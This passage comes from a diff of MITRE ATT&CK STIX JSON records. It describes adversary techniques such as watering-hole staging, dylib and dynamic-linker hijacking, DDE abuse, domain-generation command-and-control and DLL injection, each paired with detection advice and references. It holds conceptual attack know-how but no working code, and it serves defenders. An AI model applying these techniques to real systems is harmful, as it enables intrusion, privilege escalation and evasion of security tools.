purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1608/004", + "external_id": "T1608.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", + "source_name": "FireEye CFR Watering Hole 2012" + }, + { + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "source_name": "Gallagher 2015" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "source_name": "ATT ScanBox" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-30T00:51:57.919Z", + "name": "Dylib Hijacking", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1157", + "external_id": "T1157", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/471.html", + "external_id": "CAPEC-471", + "source_name": "capec" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Dylib Hijacking", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Module: Module Load" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-27T20:19:15.212Z", + "created": "2020-03-16T15:23:30.896Z", + "x_mitre_defense_bypassed": [ + "Application control" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", + "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/004", + "external_id": "T1574.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/471.html", + "external_id": "CAPEC-471", + "source_name": "capec" + }, + { + "url": "https://objective-see.com/blog/blog_0x46.html", + "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.", + "source_name": "Wardle Dylib Hijack Vulnerable Apps" + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf", + "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.", + "source_name": "Wardle Dylib Hijacking OSX 2015" + }, + { + "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py", + "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.", + "source_name": "Github EmpireProject HijackScanner" + }, + { + "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py", + "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.", + "source_name": "Github EmpireProject CreateHijacker Dylib" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + }, + { + "url": "https://taomm.org/vol1/pdfs.html", + "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.", + "source_name": "wardle artofmalware volume1" + }, + { + "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5", + "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.", + "source_name": "MalwareUnicorn macOS Dylib Injection MachO" + }, + { + "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html", + "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.", + "source_name": "Apple Developer Doco Archive Run-Path" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-09T13:00:18.698Z", + "name": "Dynamic Data Exchange", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1173", + "external_id": "T1173", + "source_name": "mitre-attack" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + }, + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "SensePost PS DDE May 2016", + "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", + "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/" + }, + { + "source_name": "Kettle CSV DDE Aug 2014", + "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", + "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "SensePost MacroLess DDE Oct 2017", + "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", + "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/" + }, + { + "source_name": "NVisio Labs DDE Detection Oct 2017", + "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", + "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Dynamic Data Exchange", + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-26T22:52:04.196Z", + "created": "2020-02-12T14:10:50.699Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1559/002", + "external_id": "T1559.002", + "source_name": "mitre-attack" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + }, + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "SensePost PS DDE May 2016", + "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", + "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/" + }, + { + "source_name": "Kettle CSV DDE Aug 2014", + "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", + "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "SensePost MacroLess DDE Oct 2017", + "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", + "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "source_name": "Fireeye Hunting COM June 2019" + }, + { + "source_name": "NVisio Labs DDE Detection Oct 2017", + "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", + "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Dynamic Linker Hijacking", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-27T19:55:18.453Z", + "created": "2020-03-13T20:09:59.569Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", + "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/006", + "external_id": "T1574.006", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/13.html", + "external_id": "CAPEC-13", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/640.html", + "external_id": "CAPEC-640", + "source_name": "capec" + }, + { + "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html", + "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.", + "source_name": "Man LD.SO" + }, + { + "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html", + "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.", + "source_name": "TLDP Shared Libraries" + }, + { + "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html", + "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.", + "source_name": "Apple Doco Archive Dynamic Libraries" + }, + { + "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is", + "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.", + "source_name": "Baeldung LD_PRELOAD" + }, + { + "url": "https://www.datawire.io/code-injection-on-linux-and-macos/", + "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.", + "source_name": "Code Injection on Linux and macOS" + }, + { + "source_name": "Uninformed Needle", + "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", + "url": "http://hick.org/code/skape/papers/needle.txt" + }, + { + "source_name": "Phrack halfdead 1997", + "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.", + "url": "http://phrack.org/issues/51/8.html" + }, + { + "url": "http://www.nth-dimension.org.uk/pub/BTL.pdf", + "description": "Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.", + "source_name": "Brown Exploiting Linkers" + }, + { + "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/", + "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.", + "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES" + }, + { + "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/", + "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.", + "source_name": "Timac DYLD_INSERT_LIBRARIES" + }, + { + "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191", + "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.", + "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Dynamic Resolution", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-02T01:37:39.938Z", + "created": "2020-03-10T17:28:11.747Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "x_mitre_contributors": [ + "Chris Roffe" + ], + "x_mitre_detection": "Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1568", + "external_id": "T1568", + "source_name": "mitre-attack" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + }, + { + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "source_name": "ESET Sednit 2017 Activity" + }, + { + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "source_name": "Data Driven Security DGA" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Dynamic-link Library Injection", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Module: Module Load", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:20:00.382Z", + "created": "2020-01-14T01:26:08.145Z", + "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/001", + "external_id": "T1055.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Elastic HuntingNMemory June 2017", + "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/hunting-memory" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T20:13:51.857Z", + "name": "Elevated Execution with Prompt", + "created": "2019-08-08T14:29:37.108Z", + "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1514", + "external_id": "T1514", + "source_name": "mitre-attack" + }, + { + "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", + "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.", + "source_name": "AppleDocs AuthorizationExecuteWithPrivileges" + }, + { + "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", + "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.", + "source_name": "Death by 1000 installers; it's all broken!" + }, + { + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019" + }, + { + "url": "https://objective-see.com/blog/blog_0x2A.html", + "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.", + "source_name": "OSX Coldroot RAT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 